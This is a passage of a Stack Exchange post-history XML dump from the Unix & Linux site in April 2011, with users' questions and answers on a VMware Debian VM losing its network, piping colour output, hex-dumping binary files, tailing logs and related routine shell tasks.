ext3, `sudo tune2fs -l /dev/sda1` can help understand where the space is going." />
  <row Id="26154" PostHistoryTypeId="2" PostId="10821" RevisionGUID="4d833525-a808-40af-9dc6-21b313cc4f4a" CreationDate="2011-04-07T11:53:46.333" UserId="5646" Text="I’m having a strange networking problem with a Debian (6) VMWare virtual machine on my Mac. Around 15 minutes after starting it up, I can no longer SSH into, view websites served from, or ping the VM.&#xD;&#xA;&#xD;&#xA;I usually run the VM in headless mode, using `vmrun -T fusion start VIRTUALMACHINEPATH nogui`. When it stops acccepting network connections, I’ve tried starting the VMWare app, which causes a window to open up with the VM’s GUI in it. Here, the Debian login screen is visible, but unresponsive.&#xD;&#xA;&#xD;&#xA;If I start up the VM through VMWare app (instead of headlessly) then the GUI stays responsive even once the network connections fail. However, when I use `ifconfig` to check the machine’s IP address once the network connections have failed, the following line is missing:&#xD;&#xA;&#xD;&#xA;     inet addr:192.168.231.137  Bcast:192.168.231.255  Mask:255.255.255.0&#xD;&#xA;&#xD;&#xA;(This line is present when I boot up; it disappears after the network connections go down.)&#xD;&#xA;&#xD;&#xA;This started happening yesterday, seemingly for no reason — the VM’s been running fine for a couple of weeks. I installed rsync on the VM yesterday, and was writing some Python code that used `subprocess` to start Xvfb and Selenium Server. I don’t know if that code somehow managed to permanently bork networking on the VM.&#xD;&#xA;&#xD;&#xA;I’ve tried copying the vdmx files and opening them in a VirtualBox virtual machine. The network issue doesn’t seem to happen there; however, VirtualBox VMs don’t by default make the virtual machine accessible on the network, whereas VMWare seems to do so. (Both my VMWare and VitualBox virtual machines use NAT for networking.)&#xD;&#xA;&#xD;&#xA;I’m a total networking idiot, so I don’t know if this is a VMWare issue, or something I’ve managed to do in Linux." />
  <row Id="26155" PostHistoryTypeId="1" PostId="10821" RevisionGUID="4d833525-a808-40af-9dc6-21b313cc4f4a" CreationDate="2011-04-07T11:53:46.333" UserId="5646" Text="Why does my Debian VMWare virtual machine lose all network connections ~15 minutes after boot?" />
  <row Id="26156" PostHistoryTypeId="3" PostId="10821" RevisionGUID="4d833525-a808-40af-9dc6-21b313cc4f4a" CreationDate="2011-04-07T11:53:46.333" UserId="5646" Text="élinuxàédebianàénetworkingàévmwareà" />
  <row Id="26157" PostHistoryTypeId="5" PostId="10821" RevisionGUID="d5d8e9fa-4077-4687-9aa3-88203bd2f288" CreationDate="2011-04-07T11:58:58.510" UserId="5646" Comment="added 212 characters in body" Text="I’m having a strange networking problem with a Debian (6) VMWare virtual machine on my Mac. Around 15 minutes after starting it up, I can no longer SSH into, view websites served from, or ping the VM.&#xD;&#xA;&#xD;&#xA;I usually run the VM in headless mode, using `vmrun -T fusion start VIRTUALMACHINEPATH nogui`. When it stops acccepting network connections, I’ve tried starting VMWare.app, which causes a window to open up with the VM’s GUI in it. Here, the Debian login screen is visible, but unresponsive.&#xD;&#xA;&#xD;&#xA;If I start up the VM through VMWare.app (instead of headlessly) then the GUI stays responsive even once the network connections fail. However, when I use `ifconfig` to check the machine’s IP address once the network connections have failed, the following line is missing:&#xD;&#xA;&#xD;&#xA;     inet addr:192.168.231.137  Bcast:192.168.231.255  Mask:255.255.255.0&#xD;&#xA;&#xD;&#xA;(This line is present when I boot up; it disappears after the network connections go down.)&#xD;&#xA;&#xD;&#xA;This started happening yesterday, seemingly for no reason — the VM’s been running fine for a couple of weeks. I installed rsync on the VM yesterday, and was writing some Python code that used `subprocess` to start Xvfb and Selenium Server. I don’t know if that code somehow managed to permanently bork networking on the VM.&#xD;&#xA;&#xD;&#xA;I’ve tried copying the .vdmx files and opening them in a VirtualBox virtual machine. The network issue doesn’t seem to happen there (i.e. the `inet addr` line in `ifconfig` stays present for over an hour); however, VirtualBox VMs don’t by default make the virtual machine accessible on the network, whereas VMWare seems to do so. I haven’t figured out how to turn on NAT port forwarding for incoming connections to the VirtualBox VM in the same way that VMWare is set up. (Both my VMWare and VitualBox virtual machines use NAT for networking.)&#xD;&#xA;&#xD;&#xA;I’m a total networking idiot, so I don’t know if this is a VMWare issue, or something I’ve managed to do in Linux." />
  <row Id="26158" PostHistoryTypeId="2" PostId="10822" RevisionGUID="1f3c5d81-42c3-4d50-ae9a-218977440d9e" CreationDate="2011-04-07T11:59:54.100" UserId="5666" Text="With the current version of gnu sort (and borrowing @penguin359 file pattern)&#xD;&#xA;&#xD;&#xA;    du -sh .[^.] .??* * | sort -h&#xD;&#xA;&#xD;&#xA;With an older version of sort&#xD;&#xA;&#xD;&#xA;    foo=$(du -sh .[^.] .??* *)&#xD;&#xA;    for u in T G M K; do&#xD;&#xA;        echo &quot;$foo&quot; | egrep &quot;^[0-9\.]+$u&quot; | sort -n&#xD;&#xA;    done" />
  <row Id="26159" PostHistoryTypeId="25" PostId="10817" RevisionGUID="5369c693-ca35-4a73-993c-daf0cd7837e9" CreationDate="2011-04-07T12:09:01.853" Comment="http://twitter.com/#!/StackUnix/status/55965299807236097" />
  <row Id="26160" PostHistoryTypeId="2" PostId="10823" RevisionGUID="c8ebd745-0cbb-4473-8f46-725de37e8c09" CreationDate="2011-04-07T12:37:33.333" UserId="2343" Text="I sometime want to pipe the color-coded output fror a process, eg. grep... but when I pipe it to another process, eg. sed, the color codes are lost...  &#xD;&#xA;&#xD;&#xA;Is the some way to keep thes codes intact ?  &#xD;&#xA;&#xD;&#xA;Here is an exapple which loses the coulured output.  &#xD;&#xA;&#xD;&#xA;    echo barney | grep barney | sed -n 1,$\ p   " />
  <row Id="26161" PostHistoryTypeId="1" PostId="10823" RevisionGUID="c8ebd745-0cbb-4473-8f46-725de37e8c09" CreationDate="2011-04-07T12:37:33.333" UserId="2343" Text="Where do my ANSI escape codes go when I pipe to another process? Can I keep them?" />
  <row Id="26162" PostHistoryTypeId="3" PostId="10823" RevisionGUID="c8ebd745-0cbb-4473-8f46-725de37e8c09" CreationDate="2011-04-07T12:37:33.333" UserId="2343" Text="épipeàécodeàéescapeàéansià" />
  <row Id="26163" PostHistoryTypeId="5" PostId="10821" RevisionGUID="e48ea771-d9eb-4726-85bf-af14ce0a02b3" CreationDate="2011-04-07T12:47:30.057" UserId="5646" Comment="added 148 characters in body" Text="I’m having a strange networking problem with a Debian (6) VMWare virtual machine on my Mac. Around 15 minutes after starting it up, I can no longer SSH into, view websites served from, or ping the VM.&#xD;&#xA;&#xD;&#xA;I usually run the VM in headless mode, using `vmrun -T fusion start VIRTUALMACHINEPATH nogui`. When it stops acccepting network connections, I’ve tried starting VMWare.app, which causes a window to open up with the VM’s GUI in it. Here, the Debian login screen is visible, but unresponsive.&#xD;&#xA;&#xD;&#xA;If I start up the VM through VMWare.app (instead of headlessly) then the GUI stays responsive even once the network connections fail. However, when I use `ifconfig` to check the machine’s IP address once the network connections have failed, the following line is missing:&#xD;&#xA;&#xD;&#xA;     inet addr:192.168.231.137  Bcast:192.168.231.255  Mask:255.255.255.0&#xD;&#xA;&#xD;&#xA;(This line is present when I boot up; it disappears after the network connections go down.)&#xD;&#xA;&#xD;&#xA;This started happening yesterday, seemingly for no reason — the VM’s been running fine for a couple of weeks. I installed rsync on the VM yesterday, and was writing some Python code that used `subprocess` to start Xvfb and Selenium Server. I don’t know if that code somehow managed to permanently bork networking on the VM.&#xD;&#xA;&#xD;&#xA;I’ve tried copying the .vdmx files and opening them in a VirtualBox virtual machine. The network issue doesn’t seem to happen there (i.e. the `inet addr` line in `ifconfig` stays present for over an hour); however, VirtualBox VMs don’t by default make the virtual machine accessible on the network, whereas VMWare seems to do so. I haven’t figured out how to turn on NAT port forwarding for incoming connections to the VirtualBox VM in the same way that VMWare is set up. (Both my VMWare and VitualBox virtual machines use NAT for networking.)&#xD;&#xA;&#xD;&#xA;I’m a total networking idiot, so I don’t know if this is a VMWare issue, or something I’ve managed to do in Linux — hence the [cross-posting](http://superuser.com/questions/267788/why-does-my-debian-vmware-virtual-machine-lose-all-network-connections-15-minute)." />
  <row Id="26164" PostHistoryTypeId="5" PostId="10823" RevisionGUID="a3779d1c-2398-4693-9034-9d492972439f" CreationDate="2011-04-07T12:53:15.307" UserId="2511" Comment="deleted 3 characters in body" Text="I sometime want to pipe the color-coded output fror a process, eg. grep... but when I pipe it to another process, eg. sed, the color codes are lost...  &#xD;&#xA;&#xD;&#xA;Is the some way to keep thes codes intact ?  &#xD;&#xA;&#xD;&#xA;Here is an example which loses the colored output:&#xD;&#xA;&#xD;&#xA;    echo barney | grep barney | sed -n 1,$\ p   " />
  <row Id="26165" PostHistoryTypeId="2" PostId="10824" RevisionGUID="196e4c10-ef94-4c44-88d6-76c141797c91" CreationDate="2011-04-07T12:56:05.627" UserId="4667" Text="    exec 3&lt;binary.file     # open the file for reading on file descriptor 3&#xD;&#xA;    read -N1 -u3 num       # read 1 character into variable &quot;num&quot;&#xD;&#xA;    read -N$num -u3 str    # read &quot;num&quot; chars&#xD;&#xA;    exec 3&lt;&amp;-              # close fd 3" />
  <row Id="26166" PostHistoryTypeId="5" PostId="10821" RevisionGUID="d609d30b-7da7-40e1-9cbe-7b47e7d33458" CreationDate="2011-04-07T13:08:29.750" UserId="5646" Comment="added 37 characters in body" Text="I’m having a strange networking problem with a Debian (6) VMWare virtual machine on my Mac. Around 15 minutes after starting it up, I can no longer SSH into, view websites served from, or ping the VM.&#xD;&#xA;&#xD;&#xA;I usually run the VM in headless mode, using `vmrun -T fusion start VIRTUALMACHINEPATH nogui`. When it stops acccepting network connections, I’ve tried starting VMWare.app, which causes a window to open up with the VM’s GUI in it. Here, the Debian login screen is visible, but unresponsive.&#xD;&#xA;&#xD;&#xA;If I start up the VM through VMWare.app (instead of headlessly) then the GUI stays responsive even once the network connections fail. However, when I use `ifconfig` to check the machine’s IP address once the network connections have failed, the following line is missing:&#xD;&#xA;&#xD;&#xA;     inet addr:192.168.231.137  Bcast:192.168.231.255  Mask:255.255.255.0&#xD;&#xA;&#xD;&#xA;(This line is present when I boot up; it disappears after the network connections go down.)&#xD;&#xA;&#xD;&#xA;This started happening yesterday, seemingly for no reason — the VM’s been running fine for a couple of weeks. I installed rsync on the VM yesterday, and was writing some Python code that used `subprocess` to start Xvfb and Selenium Server. I don’t know if that code somehow managed to permanently bork networking on the VM.&#xD;&#xA;&#xD;&#xA;I’ve tried copying the .vdmx files and opening them in a VirtualBox virtual machine. The network issue doesn’t seem to happen there (i.e. the `inet addr` line in `ifconfig` stays present for over an hour); however, VirtualBox VMs don’t by default make the virtual machine accessible on the network, whereas VMWare seems to do so. I haven’t figured out how to turn on NAT port forwarding for incoming connections to the VirtualBox VM in the same way that VMWare is set up. (Both my VMWare and VitualBox virtual machines use NAT for networking.)&#xD;&#xA;&#xD;&#xA;I’m a total networking idiot, so I don’t know if this is a VMWare issue, something I’ve managed to do in Linux, or some sort of random external attack — hence the [cross-posting](http://superuser.com/questions/267788/why-does-my-debian-vmware-virtual-machine-lose-all-network-connections-15-minute)." />
  <row Id="26167" PostHistoryTypeId="2" PostId="10825" RevisionGUID="44cd1e3e-c62a-42b5-b566-76058c03c5b8" CreationDate="2011-04-07T13:09:02.293" UserId="6339" Text="I often find myself in the following position: I've started typing a long command at the bash prompt, but half-way through I find out I need to check something with another command. This is a problem when I'm at the console (no X), which is often the case, because then I only have the following unsatisfactory ways to do it, that I know of:&#xD;&#xA;&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;&lt;li&gt; Hit ctrl+alt+F2 and log in on another virtual console, and find out what I wanted, then go back and continue&#xD;&#xA;&lt;li&gt; ctrl+a, type echo + space + enter, find out what I wanted, type uparrow, ctrl+a, del x5, ctrl+e, continue&#xD;&#xA;&lt;li&gt; Highlight what I've typed so far with my mouse (if gpm is running, which it usually is), press ctrl+c to interrupt, find out what I wanted while being careful not to use my mouse to highlight stuff, then press middle mouse button on a new prompt and continue&#xD;&#xA;&lt;li&gt; Pray to the command line gods that the half-written command will have no adverse effects, press enter, find out what I wanted, press uparrow until I get my command back, and continue&#xD;&#xA;&lt;li&gt; Jump in my time machine, remind myself to start screen (if it's installed) before starting to type command, travel back to the present, press ctrl+a c, find out what I wanted, press ctrl+a ctrl+a, continue&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;So what I want to know is, is there some more elegant way of doing this? A sort of subshell-command or similar?&#xD;&#xA;&#xD;&#xA;I'm most interested in methods that do not require any preparations or setup to work." />
  <row Id="26168" PostHistoryTypeId="1" PostId="10825" RevisionGUID="44cd1e3e-c62a-42b5-b566-76058c03c5b8" CreationDate="2011-04-07T13:09:02.293" UserId="6339" Text="Remember a half-typed command while I check something" />
  <row Id="26169" PostHistoryTypeId="3" PostId="10825" RevisionGUID="44cd1e3e-c62a-42b5-b566-76058c03c5b8" CreationDate="2011-04-07T13:09:02.293" UserId="6339" Text="ébashàécommandölineà" />
  <row Id="26170" PostHistoryTypeId="2" PostId="10826" RevisionGUID="49cc80f4-c950-4cd9-8159-dddbac6e4850" CreationDate="2011-04-07T13:16:41.130" UserId="3608" Text="In shell, how can I read the bytes of a binary file I have, and print the output as hexadecimal numbers?" />
  <row Id="26171" PostHistoryTypeId="1" PostId="10826" RevisionGUID="49cc80f4-c950-4cd9-8159-dddbac6e4850" CreationDate="2011-04-07T13:16:41.130" UserId="3608" Text="Shell: How to read the bytes of a binary file and print as hexadecimal?" />
  <row Id="26172" PostHistoryTypeId="3" PostId="10826" RevisionGUID="49cc80f4-c950-4cd9-8159-dddbac6e4850" CreationDate="2011-04-07T13:16:41.130" UserId="3608" Text="éshellàéshellöscriptà" />
  <row Id="26173" PostHistoryTypeId="5" PostId="10824" RevisionGUID="033e1b6c-4f67-4bb0-8e27-f1bcde95ac85" CreationDate="2011-04-07T13:20:11.627" UserId="4667" Comment="added 168 characters in body; deleted 8 characters in body" Text="    exec 3&lt;binary.file     # open the file for reading on file descriptor 3&#xD;&#xA;    IFS=                   #&#xD;&#xA;    read -N1 -u3 char      # read 1 character into variable &quot;char&quot;&#xD;&#xA;&#xD;&#xA;    # to obtain the ordinal value of the char &quot;char&quot;&#xD;&#xA;    num=$(printf %s &quot;$char&quot; | od -An -vtu1 | sed 's/^[[:space:]]*//')&#xD;&#xA;&#xD;&#xA;    read -N$num -u3 str    # read &quot;num&quot; chars&#xD;&#xA;    exec 3&lt;&amp;-              # close fd 3" />
  <row Id="26174" PostHistoryTypeId="2" PostId="10827" RevisionGUID="54772796-a61d-4b61-b0b6-400b44a6aac1" CreationDate="2011-04-07T13:42:46.817" UserId="36" Text="Do ctrl-A to get to start of line, prepend a hash and press return - this way it will stay in the command history as a comment and you can get back to it with cursor up&#xD;&#xA;&#xD;&#xA;EDIT: just noticed this is a slightly more elegant variant on your #2 ;)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26175" PostHistoryTypeId="2" PostId="10828" RevisionGUID="254b9b69-8520-4f51-9969-2611ddf761e0" CreationDate="2011-04-07T13:59:53.467" UserId="6122" Text="It works for me ;-! (in the current MingW environment)&#xD;&#xA;&#xD;&#xA;    echo barney | grep --color=always barney | sed -n '1,$p'&#xD;&#xA;    **barney**&#xD;&#xA;&#xD;&#xA;\# barney displays as red text&#xD;&#xA;&#xD;&#xA;    $ grep --version&#xD;&#xA;    GNU grep 2.5.4&#xD;&#xA;    &#xD;&#xA;    $ sed --version&#xD;&#xA;    GNU sed version 4.2.1&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26176" PostHistoryTypeId="5" PostId="10817" RevisionGUID="52269bbd-9115-43ca-915b-c9021a741516" CreationDate="2011-04-07T14:00:07.990" UserId="5430" Comment="it should have been lsmod instead of lspci" Text="I am running Debian Squeeze. I installed and removed Gnome3 and reinstalled Gnome2.x (epic fail and stupidity) and in the process I have lost audio, `lspci` returns following   &#xD;&#xA;&#xD;&#xA;    # lspci | grep Audio&#xD;&#xA;    00:1b.0 Audio device: Intel Corporation 82801I (ICH9 Family) HD Audio Controller (rev 03)   &#xD;&#xA;&#xD;&#xA;But lsmod doesn't return any thing.   &#xD;&#xA;&#xD;&#xA;    $ lsmod |grep audio&#xD;&#xA;&#xD;&#xA;Any idea what could be wrong? " />
  <row Id="26177" PostHistoryTypeId="2" PostId="10829" RevisionGUID="5c56621e-1cd2-4f36-bd7d-f8615738be32" CreationDate="2011-04-07T14:11:08.847" UserId="3001" Text="Use `hexdump(1)`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ hexdump -x /usr/bin/hexdump &#xD;&#xA;    0000000    feca    beba    0000    0300    0001    0700    0080    0300&#xD;&#xA;    0000010    0000    0010    0000    5080    0000    0c00    0000    0700&#xD;&#xA;    0000020    0000    0300    0000    00a0    0000    b06f    0000    0c00&#xD;&#xA;    0000030    0000    1200    0000    0a00    0100    0010    0000    107c&#xD;&#xA;    0000040    0000    0c00    0000    0000    0000    0000    0000    0000&#xD;&#xA;    0000050    0000    0000    0000    0000    0000    0000    0000    0000&#xD;&#xA;&#xD;&#xA;..." />
  <row Id="26178" PostHistoryTypeId="2" PostId="10830" RevisionGUID="61235f2d-6791-45b9-aa60-060318553208" CreationDate="2011-04-07T15:04:32.347" UserId="6366" Text="Thanks to the hint on checking the `.xsession-errors` log, I was able to solve my own question. As a matter of fact, I realized that the `%` sign in &#xD;&#xA;&#xD;&#xA;    rdesktop -u user -d domain -g 90% address.to.remote.server&#xD;&#xA;&#xD;&#xA;is required to be escaped by a `%%` as in `-g 90%%`. Strangely, this is not necessary if the command is entered directly in the shell." />
  <row Id="26179" PostHistoryTypeId="25" PostId="10825" RevisionGUID="d90d016f-1dba-440b-b93e-aadc5ad81be9" CreationDate="2011-04-07T15:09:01.690" Comment="http://twitter.com/#!/StackUnix/status/56010597694844929" />
  <row Id="26180" PostHistoryTypeId="2" PostId="10831" RevisionGUID="d98a6054-3601-4b84-a6a0-189433e5f779" CreationDate="2011-04-07T15:26:18.163" UserId="3170" Text="Hi, at work I currently have a desktop connected to the internet through eth0. There is no Wifi access at the moment. The desktop has an eth1 port as well. I connected a cross-over cable from my laptop (eth0) to desktop (eth1). When I brought up the connection I could ping back and forth from desktop to laptop but it seems I can't get to the outside world anymore through eth0 :(&#xD;&#xA;&#xD;&#xA;Any help much appreciated." />
  <row Id="26181" PostHistoryTypeId="1" PostId="10831" RevisionGUID="d98a6054-3601-4b84-a6a0-189433e5f779" CreationDate="2011-04-07T15:26:18.163" UserId="3170" Text="Connect my laptop through desktop" />
  <row Id="26182" PostHistoryTypeId="3" PostId="10831" RevisionGUID="d98a6054-3601-4b84-a6a0-189433e5f779" CreationDate="2011-04-07T15:26:18.163" UserId="3170" Text="énetworkingà" />
  <row Id="26183" PostHistoryTypeId="2" PostId="10832" RevisionGUID="9b9e7674-7422-461f-a11f-5e0308d6b83e" CreationDate="2011-04-07T15:30:20.083" UserId="2421" Text="Many programs that generate colored output detect if they're writing to a TTY, and switch off colors if they aren't. This is because color codes are annoying when you only want to capture the text, so they try to &quot;do the right thing&quot; automatically.&#xD;&#xA;&#xD;&#xA;The simplest way to capture color output from a program like that is to tell it to write color even though it's not connected to a TTY. You'll have to read the program's documentation to find out if it has that option.  (e.g., `grep` has the `--color=always` option.)&#xD;&#xA;&#xD;&#xA;You could also use the [`expect`][1] script [`unbuffer`][2] to create a pseudo-tty like this:&#xD;&#xA;&#xD;&#xA;    echo barney | unbuffer grep barney | sed -n 1,$\ p&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://expect.sourceforge.net/&#xD;&#xA;  [2]: http://expect.sourceforge.net/example/unbuffer.man.html" />
  <row Id="26184" PostHistoryTypeId="4" PostId="10831" RevisionGUID="624bcacd-c4cd-47e0-b87c-d8e448057503" CreationDate="2011-04-07T15:38:12.553" UserId="3170" Comment="edited title" Text="Connect my laptop through desktop to internet" />
  <row Id="26185" PostHistoryTypeId="5" PostId="10831" RevisionGUID="c4e6df91-88b5-4d23-91c0-47286d7e3346" CreationDate="2011-04-07T15:45:19.880" UserId="3170" Comment="added 106 characters in body" Text="Hi, I'm currently at work and our wifi is down. I usually connect my desktop to the internet through eth0 and my laptop connects through wifi.&#xD;&#xA;&#xD;&#xA;I have an extra port on the back of the desktop (eth1) and one on my laptop (eth0). I tried connecting a crossover cable between these two ports and bringing up a connection.&#xD;&#xA;&#xD;&#xA;I set up a route to the desktop through my laptop and I can ping between the two machines but neither one will connect to the internet through desktop's eth0.&#xD;&#xA;&#xD;&#xA;Any help is much appreciated =)" />
  <row Id="26186" PostHistoryTypeId="2" PostId="10833" RevisionGUID="bb383fd1-3829-4521-a23b-2e9c361edcc6" CreationDate="2011-04-07T15:46:25.543" UserId="4485" Text="Another option is od:&#xD;&#xA;&#xD;&#xA;    od -x FILE&#xD;&#xA;&#xD;&#xA;`od` has many options for finetuning. " />
  <row Id="26187" PostHistoryTypeId="2" PostId="10834" RevisionGUID="017bb743-8ed6-4df1-956b-491d6bbe985f" CreationDate="2011-04-07T16:10:22.587" UserId="6372" Text="Hi!&#xD;&#xA;&#xD;&#xA;There is `/location/of/thefile`, which is a continuously changing logfile. The average density of refreshes is 4 per minute, the possible maximal refresh rate could be 30-40 per minute. Every refresh adds 2-5 lines (average), but it could be hundreds in extreme cases. Every line begins with a `[YYYY-MM-DD HH:MM:SS]` timestamp followed by plaintext (100-200, max. a few hundred characters).&#xD;&#xA;&#xD;&#xA;My task is to construct a **simple command** which continuously watches this logfile, and sends to the stdout every lines that contain the `foo` *OR* `bar` alphabetical strings. Before and after those (sub)strings there could be any characters (`\n` only after the (sub)string, of course), even `\0`. The capitalization of the words could be all of the possible variations.&#xD;&#xA;&#xD;&#xA;Well, my ideas for the solution always contain syscalls for the timing, but I shouldn't use them. Please construct me a **simple command**. Thanks a very lot!" />
  <row Id="26188" PostHistoryTypeId="1" PostId="10834" RevisionGUID="017bb743-8ed6-4df1-956b-491d6bbe985f" CreationDate="2011-04-07T16:10:22.587" UserId="6372" Text="Reading from a continuously changing logfile" />
  <row Id="26189" PostHistoryTypeId="3" PostId="10834" RevisionGUID="017bb743-8ed6-4df1-956b-491d6bbe985f" CreationDate="2011-04-07T16:10:22.587" UserId="6372" Text="ébashàésedàélogsàéawkàésystemöcallsà" />
  <row Id="26190" PostHistoryTypeId="2" PostId="10835" RevisionGUID="8b562e2c-e844-4ba9-8313-a74e3705c204" CreationDate="2011-04-07T16:40:49.113" UserId="1946" Text="Hit `Ctrl+A`, `Ctrl+K` to move to the start of line and delete (kill) to the end of it.  Then do your research, and when ready to continue hit `Ctrl+Y` (yank) to put your saved (killed) line back." />
  <row Id="26193" PostHistoryTypeId="2" PostId="10837" RevisionGUID="1c85bc6f-fedc-43e9-9c19-a00e088353b2" CreationDate="2011-04-07T16:58:37.023" UserId="6149" Text="I might be misunderstanding the question, but is there a reason you can't use this?&#xD;&#xA;&#xD;&#xA;`tail -f /location/of/thefile | grep -i -E &quot;foo|bar&quot;`" />
  <row Id="26194" PostHistoryTypeId="5" PostId="10833" RevisionGUID="c4ce5ac7-3d25-4839-898c-86b3e44cec77" CreationDate="2011-04-07T17:08:15.550" UserId="4485" Comment="added 25 characters in body" Text="Another option is od:&#xD;&#xA;&#xD;&#xA;    od -t x1 FILE&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    od -x FILE&#xD;&#xA;&#xD;&#xA;`od` has many options for finetuning. " />
  <row Id="26195" PostHistoryTypeId="5" PostId="10814" RevisionGUID="2972a5bc-696d-482b-9374-b705c4cb3cd2" CreationDate="2011-04-07T17:34:00.027" UserId="29" Comment="cleanups" Text="I wanted to put my work files (code) in `/usr/local/src`, but I think it's already a folder that has some other semantic meaning.&#xD;&#xA;&#xD;&#xA;What is that? Should I put source code there, or is there a better place?" />
  <row Id="26196" PostHistoryTypeId="6" PostId="10814" RevisionGUID="2972a5bc-696d-482b-9374-b705c4cb3cd2" CreationDate="2011-04-07T17:34:00.027" UserId="29" Comment="cleanups" Text="éubuntuàéfhsà" />
  <row Id="26197" PostHistoryTypeId="2" PostId="10838" RevisionGUID="892c422b-d881-4c8b-9d7e-834ae915bf46" CreationDate="2011-04-07T17:42:37.880" UserId="2511" Text="It depends on what you're _doing_ with that source. If it's for reference, yes, that's a good place. `/usr/local` is reserved for software installed locally by the sysadmin. So, if you want to install software along with source files (for other programs to use or for people to look at), that's good.&#xD;&#xA;&#xD;&#xA;It's not meant, however, to be a _workspace_. Since it is _local_, you can do whatever you want, of course, but this isn't designed to be the place to put your software development tree.&#xD;&#xA;&#xD;&#xA;That should, really, be in a code repository (possibly in `/srv/sourcerepo` or something), and then developers would check out their own working copies into their home directories." />
  <row Id="26198" PostHistoryTypeId="2" PostId="10839" RevisionGUID="8ca99614-b32c-4bf2-b46a-0f7aff4e226f" CreationDate="2011-04-07T17:47:06.610" UserId="6318" Text="Use nice and easy to configure tool - shorewall." />
  <row Id="26199" PostHistoryTypeId="2" PostId="10840" RevisionGUID="db4ef1e7-35b2-4564-a693-efe36b8e690a" CreationDate="2011-04-07T17:50:23.773" UserId="6374" Text="Ex:&#xD;&#xA;&#xD;&#xA;    $read &amp;&#xD;&#xA;    [1] 15139&#xD;&#xA;    &#xD;&#xA;    [1]+  Stopped    &#xD;&#xA;    $jobs -l&#xD;&#xA;    [1]+ 15139 Stopped (tty input) read&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26200" PostHistoryTypeId="1" PostId="10840" RevisionGUID="db4ef1e7-35b2-4564-a693-efe36b8e690a" CreationDate="2011-04-07T17:50:23.773" UserId="6374" Text="Is it possible to send a keyboard event to a background script that's expecting user interaction? (Using 'read')" />
  <row Id="26201" PostHistoryTypeId="3" PostId="10840" RevisionGUID="db4ef1e7-35b2-4564-a693-efe36b8e690a" CreationDate="2011-04-07T17:50:23.773" UserId="6374" Text="éprocessà" />
  <row Id="26202" PostHistoryTypeId="2" PostId="10841" RevisionGUID="1ecdb70f-7bab-4fdf-9673-974b3ce5bc43" CreationDate="2011-04-07T17:52:00.727" UserId="6318" Text="Maybe you grep wrong sentence? Are you sure that you need 'audio' in modules name to have sound? use modprobe -l | grep sound to get sounds drivers." />
  <row Id="26203" PostHistoryTypeId="5" PostId="10822" RevisionGUID="d4a31bc1-ae9c-4e21-b369-a6b99b3488cb" CreationDate="2011-04-07T17:54:55.483" UserId="5666" Comment="added 95 characters in body" Text="With the current version of gnu sort (and borrowing @penguin359 file pattern)&#xD;&#xA;&#xD;&#xA;    cd /tmp; du -sSh .[^.] .??* * | sort -h&#xD;&#xA;&#xD;&#xA;With an older version of sort&#xD;&#xA;&#xD;&#xA;    cd /tmp&#xD;&#xA;    foo=$(du -sSh .[^.] .??* *)&#xD;&#xA;    for u in T G M K; do&#xD;&#xA;        echo &quot;$foo&quot; | egrep &quot;^[0-9\.]+$u&quot; | sort -n&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;EDIT: added *-S* parameter to `du` to not include subdirectories.&#xD;&#xA;" />
  <row Id="26204" PostHistoryTypeId="2" PostId="10842" RevisionGUID="fee8c799-81e4-45e5-ab16-e3ac4a61df80" CreationDate="2011-04-07T18:05:04.333" UserId="4523" Text="I'm using following alias for it: `alias ds='du -x --max-depth=1 . | sort -n'`&#xD;&#xA;&#xD;&#xA;It prints sizes of all files and 1-st level subdirectories of current dir." />
  <row Id="26205" PostHistoryTypeId="25" PostId="10834" RevisionGUID="a16d2638-d00e-435e-ae91-29fa3215557c" CreationDate="2011-04-07T18:09:02.270" Comment="http://twitter.com/#!/StackUnix/status/56055897725734913" />
  <row Id="26206" PostHistoryTypeId="2" PostId="10843" RevisionGUID="e1955c02-bbf0-44b8-b27b-de15bc732c3d" CreationDate="2011-04-07T18:18:46.953" UserId="5666" Text="Can easily be done with a fifo.&#xD;&#xA;&#xD;&#xA;    $ cat bar.sh&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    read bar&#xD;&#xA;    echo got $bar in the read line&#xD;&#xA;    &#xD;&#xA;    $ mkfifo foo&#xD;&#xA;    $ ./bar.sh &lt; foo &amp;&#xD;&#xA;    $ echo hello &gt; foo &#xD;&#xA;    $ got hello in the read line&#xD;&#xA;    [1]+  Done                    ./bar.sh &lt; foo&#xD;&#xA;    $ &#xD;&#xA;&#xD;&#xA;" />
  <row Id="26207" PostHistoryTypeId="5" PostId="10817" RevisionGUID="0931bcd3-901c-4466-881e-8d23eb297125" CreationDate="2011-04-07T18:19:44.097" UserId="5430" Comment="added 2047 characters in body" Text="I am running Debian Squeeze. I installed and removed Gnome3 and reinstalled Gnome2.x (epic fail and stupidity) and in the process I have lost audio, `lspci` returns following   &#xD;&#xA;&#xD;&#xA;    # lspci | grep Audio&#xD;&#xA;    00:1b.0 Audio device: Intel Corporation 82801I (ICH9 Family) HD Audio Controller (rev 03)   &#xD;&#xA;&#xD;&#xA;But lsmod doesn't return any thing.   &#xD;&#xA;&#xD;&#xA;    $ lsmod |grep audio&#xD;&#xA;&#xD;&#xA;Any idea what could be wrong? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here is an update, I tried to install whatever possible package was removed by studying `/var/log/dpkg.log`. This fixed my other issues like no right click on desktop and blunt looking buttons etc. Now I have everything in order but sound is missing. I don't see sound section in `gnome-control-center`. Here are some findings:   &#xD;&#xA;&#xD;&#xA;    kumar@debian-box:/$ lspci | grep Audio&#xD;&#xA;    00:1b.0 Audio device: Intel Corporation 82801I (ICH9 Family) HD Audio Controller (rev 03)&#xD;&#xA;    kumar@debian-box:/$ lsmod |grep audio&#xD;&#xA;    kumar@debian-box:/$ lsmod |grep snd  &#xD;&#xA;    kumar@debian-box:/$ lsmod |grep sound&#xD;&#xA;    kumar@debian-box:/$ cat alsa-base.conf&#xD;&#xA;    # autoloader aliases&#xD;&#xA;    install sound-slot-0 /sbin/modprobe snd-card-0&#xD;&#xA;    install sound-slot-1 /sbin/modprobe snd-card-1&#xD;&#xA;    install sound-slot-2 /sbin/modprobe 